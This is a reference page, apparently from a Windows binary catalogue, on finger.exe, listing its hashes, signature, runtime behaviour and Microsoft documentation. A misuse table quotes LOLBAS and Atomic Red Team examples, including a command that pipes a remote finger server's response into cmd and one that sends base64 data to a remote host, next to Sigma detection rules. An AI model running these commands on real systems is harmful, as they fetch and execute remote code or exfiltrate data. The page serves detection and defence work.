finger.exe
- File Path:
C:\Windows\SysWOW64\finger.exe - Description: TCPIP Finger Command
Hashes
| Type | Hash |
|---|---|
| MD5 | C586D06BF5D5B3E6E9E3289F6AA8225E |
| SHA1 | 140E4BF6934EEF85C10A96EE45CC6E479AA30992 |
| SHA256 | 781F1BB7080EF4DC5BD8B5F6E3D7CD1AE304E0DA6DE135B166EF686326E87C5F |
| SHA384 | 07213C43E06CC71A3513D74B097325BF5A95270D936F89AB60BD9A49919B540F367FEA45C96F0BDF0530A40A6414214C |
| SHA512 | 00A3421557C1E08FA476F78C0A4C615DE57E85AB69E46C9E56BE1E6BE2CED01CEF3988029E07BAB3F9950064B9F8A4B8A4019D329DF89DF2FC5ACE76B50D9548 |
| SSDEEP | 192:k7obhx5K9enOD92DgDmX/mXp6MFE+jJ6wWoWl0W0W:EUhx5MenW2DjXeXRTjJ1pWl0W |
| IMP | DD36F61A81704582E5C476E946B3969A |
| PESHA1 | C9C041E329135864D46954B13137570689AE9898 |
| PE256 | C58AAC1FADBEC621A61AF1C3CCFABC22721C4E039936180FDB251182B272B9B9 |
Runtime Data
Usage (stdout):
[DESKTOP-F9N3CL1]
Usage (stderr):
Displays information about a user on a specified system running the
Finger service. Output varies based on the remote system.
FINGER [-l] [user]@host [...]
-l Displays information in long list format.
user Specifies the user you want information about. Omit the user
parameter to display information about all users on the
specifed host.
@host Specifies the server on the remote system whose users you
want information about.
Child Processes:
conhost.exe
Open Handles:
| Path | Type |
|---|---|
| (R-D) C:\Windows\System32\en-US\finger.exe.mui | File |
| (RW-) C:\Users\user | File |
| (RW-) C:\Windows | File |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2 | Section |
| \BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 | Section |
| \BaseNamedObjects\NLS_CodePage_437_3_2_0_0 | Section |
Loaded Modules:
| Path |
|---|
| C:\Windows\SYSTEM32\ntdll.dll |
| C:\Windows\System32\wow64.dll |
| C:\Windows\System32\wow64cpu.dll |
| C:\Windows\System32\wow64win.dll |
| C:\Windows\SysWOW64\finger.exe |
Signature
- Status: Signature verified.
- Serial:
3300000266BD1580EFA75CD6D3000000000266 - Thumbprint:
A4341B9FD50FB9964283220A36A1EF6F6FAA7840 - Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
File Metadata
- Original Filename: finger.exe
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.19041.1 (WinBuild.160101.0800)
- Product Version: 10.0.19041.1
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 32-bit
File Scan
- VirusTotal Detections: 0/74
- VirusTotal Link: https://www.virustotal.com/gui/file/781f1bb7080ef4dc5bd8b5f6e3d7cd1ae304e0da6de135b166ef686326e87c5f/detection
Possible Misuse
The following table contains possible examples of finger.exe being misused. While finger.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | proc_creation_win_susp_finger_usage.yml | title: Finger.exe Suspicious Invocation |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | description: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | Image\|endswith: '\finger.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | - Admin activity (unclear what they do nowadays with finger.exe) |
DRL 1.0 |
| LOLBAS | Finger.yml | Name: Finger.exe |
|
| LOLBAS | Finger.yml | Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon |
|
| LOLBAS | Finger.yml | - Command: finger user@example.host.com \| more +2 \| cmd |
|
| LOLBAS | Finger.yml | Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.' |
|
| LOLBAS | Finger.yml | - Path: c:\windows\system32\finger.exe |
|
| LOLBAS | Finger.yml | - Path: c:\windows\syswow64\finger.exe |
|
| LOLBAS | Finger.yml | - IOC: finger.exe should not be run on a normal workstation. |
|
| LOLBAS | Finger.yml | - IOC: finger.exe connecting to external resources. |
|
| malware-ioc | nouns.txt | finger |
© ESET 2014-2018 |
| atomic-red-team | index.md | - Atomic Test #16: File download with finger.exe on Windows [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-index.md | - Atomic Test #16: File download with finger.exe on Windows [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | - Atomic Test #16 - File download with finger.exe on Windows | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | ## Atomic Test #16 - File download with finger.exe on Windows | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/ | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | finger base64_filedata@#{remote_host} | MIT License. © 2018 Red Canary |
Additional Info*
*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.
finger
Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012
Displays information about users on a specified remote computer (typically a computer running UNIX) that is running the finger service or daemon. The remote computer specifies the format and output of the user information display. Used without parameters, finger displays help.
[!IMPORTANT] This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections.
Syntax
finger [-l] [<user>] [@<host>] [...]
Parameters
| Parameter | Description |
|---|---|
| -l | Displays user information in long list format. |
<user> |
Specifies the user about which you want information. If you omit the user parameter, this command displays information about all users on the specified computer. |
@<host> |
Specifies the remote computer running the finger service where you are looking for user information. You can specify a computer name or IP address. |
| /? | Displays help at the command prompt. |
Remarks
-
You must prefix finger parameters with a hyphen (-) rather than a slash (/).
-
Multiple
user@hostparameters can be specified.
Examples
To display information for user1 on the computer users.microsoft.com, type:
finger user1@users.microsoft.com
To display information for all users on the computer users.microsoft.com, type:
finger @users.microsoft.com
Additional References
MIT License. Copyright (c) 2020-2021 Strontic.